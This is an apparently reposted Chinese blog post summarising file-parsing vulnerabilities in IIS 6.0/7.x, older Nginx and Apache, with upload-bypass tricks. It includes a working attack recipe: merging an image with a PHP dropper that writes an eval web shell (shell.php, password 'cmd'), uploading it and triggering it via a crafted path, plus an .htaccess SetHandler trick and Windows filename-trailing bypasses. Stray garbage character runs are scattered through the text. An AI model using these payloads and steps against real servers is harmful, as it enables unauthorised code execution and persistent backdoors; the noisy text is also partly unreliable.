常见服务器解析漏洞总结

admin

Author : laterain
[+]IIS6.0

目录解析：/xx.asp/xx.jpg
xx.jpg 可替换为任意文本文件(e.g. xx.txt)，文本内容为后门代码
IIS6.0 会将 xx.jpg 解析为 asp 文件。
4 M8 ~( B! A* ]+ F5 \2 P后缀解析：/xx.asp;.jpg     
/ E: p; P5 K: `5 H9 d8 E: o IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
默认解析：/xx.asa
  i- S# U4 W% x" Q7 Y. E         /xx.cer
         /xx.cdx
IIS6.0 默认的可执行文件除了 asp 还包含这三种
此处可联系利用目录解析漏洞
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
- `  f' ^( A/ u0 L! S, }( L[+]IIS 7.0/IIS 7.5/Nginx <0.8.03

IIS 7.0/IIS 7.5/Nginx <0.8.03
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
) B3 x3 U% {, s6 n( X1 t# R 常用利用方法：
将一张图和一个写入后门代码的文本文件合并将恶意文本
写入图片的二进制代码之后，避免破坏图片文件头和尾
如：
copy xx.jpg /b + yy.txt/a xy.jpg
#########################################################
/ }5 L, x7 q) W; _+ F. s, _7 s, j /b 即二进制[binary]模式
4 z. i. B! m% U4 z2 e6 Q6 ]+ f5 B /a 即ascii模式
xx.jpg 正常图片文件
- k# I5 r' _( b. L2 ]. n yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
'<?php eval($_POST[cmd])?>');?>
3 B) ~6 ?# N* ~7 ^ 意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
为shell.php的文件
###########################################################
! a3 l' p2 A$ k+ j% x, M1 _ 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址，在地址后加上 /xx.php
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
密码 cmd
4 w, M/ u: I! g9 x! E[+]Nginx <0.8.03

3 V$ U8 C( b" \; k 在Fast-CGI关闭的情况下，Nginx <0.8.03依然存在解析漏洞
在一个文件路径(/xx.jpg)后面加上%00.php
( A2 Y1 l0 L8 T, l8 x+ W0 N2 O 会将 /xx.jpg%00.php 解析为 php 文件。
[+]Apache<0.8.03

后缀解析：test.php.x1.x2.x3
Apache将从右至左开始判断后缀，若x3非可识别后缀，
再判断x2，直到找到可识别后缀为止，然后将该可识别
" d' N" B6 G8 L 后缀进解析test.php.x1.x2.x3 则会被解析为php
- W1 v' f  r3 D% I% K# _5 k 经验之谈：php|php3|phtml 多可被Apache解析。
[+]其他一些可利用的
7 Q+ I' i6 s" l0 p7 N% Y) W
/ }  M, Z9 g3 j( X! m, d在windows环境下，xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
若这样命名，windows会默认除去空格或点，这也是可以被利用的！
5 `) X' Z+ h( Q, }7 S1 k% F# n2 H& [在向一台windows主机上传数据时，你可以抓包修改文件名，在后面加个空格
, A, i6 y* n; V$ d" I4 `或点，试图绕过黑名单，若上传成功，最后的点或空格都会被消除，这样就可
& [# R5 h1 e7 y$ l+ U5 z# Y得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
: C1 }) o* i0 w  g! g" I0 D{Linux主机中不行，Linux允许这类文件存在}
如果在Apache中.htaccess可被执行（默认不执行，这是90sec里的一位朋友说
  X0 n5 o# U, T的，当初我并不知道），且可以被上传，那可以尝试在
.htaccess中写入:
<FilesMatch “shell.jpg”>
SetHandler application/x-httpd-php
</FilesMatch>
# n$ J( x  ~# {4 r5 S: f6 z5 v0 u# _shell.jpg换成你上传的文件，这样shell.jpg就可解析为php文件
[+]错误修改

) t( S' B' O' N1 y在 IIS 6.0 下可解析 /xx.asp:.jpg
{/xx.asp:.jpg 此类文件在Windows下不允许存在，:.jpg被自动除去
剩下/xx.asp}修改：
先谢谢核攻击的提醒
当上传一个/xx.asp:.jpg文件时，的确:.jpg会消失，但是现在的/xx.asp
里是没有任何内容的，因为。。不好解释 大家自己看
$ O6 k" [4 d5 Q& d( y( Whttp://lcx.cc/?i=2448
* F4 e" w% K, h7 t* A; ]http://baike.baidu.com/view/3619593.htm
* x! m8 D. U+ X% ]: _3 i) M​
6 V) B$ p/ h6 L6 Y+ ]" U